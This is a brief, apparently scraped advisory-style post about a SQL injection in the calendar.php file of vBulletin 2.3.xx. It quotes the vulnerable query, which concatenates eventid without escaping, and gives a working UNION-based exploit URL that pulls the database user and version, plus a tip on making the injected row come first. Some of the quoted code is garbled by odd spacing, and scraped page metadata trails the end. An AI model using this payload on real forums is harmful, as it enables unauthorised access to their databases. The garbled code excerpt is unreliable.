VBulletin Forum 2.3.xx SQL injectionthere exist a SQL injection problem in calendar.php.
--------Cut from line 585 in calendar.php----------
else if ($action = = "Edit")
{
$eventinfo = $DB _site->query_first ("Select Allowsmilies,public,userid,
Eventdate,event,subject from calendar_events WHERE EventID = $eventid ");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
-----------------------------------------
Http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20 (Select%20allowsmilies,public,userid, ' 0000-0-0 ', User (), version ()%20from%20calendar_ev
ents%20where%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The Query_first function would only return the first row of the query to result, so make sure it returns!
The one you want.
http://www.bkjia.com/PHPjc/314536.html www.bkjia.com true http://www.bkjia.com/PHPjc/314536.html techarticle vBulletin Forum 2.3.xx SQL injectionthere exist a SQL injection problem in calendar.php.--------Cut from line 585 in calendar.php----------Else if ($action = = "edit") {$eventi ...
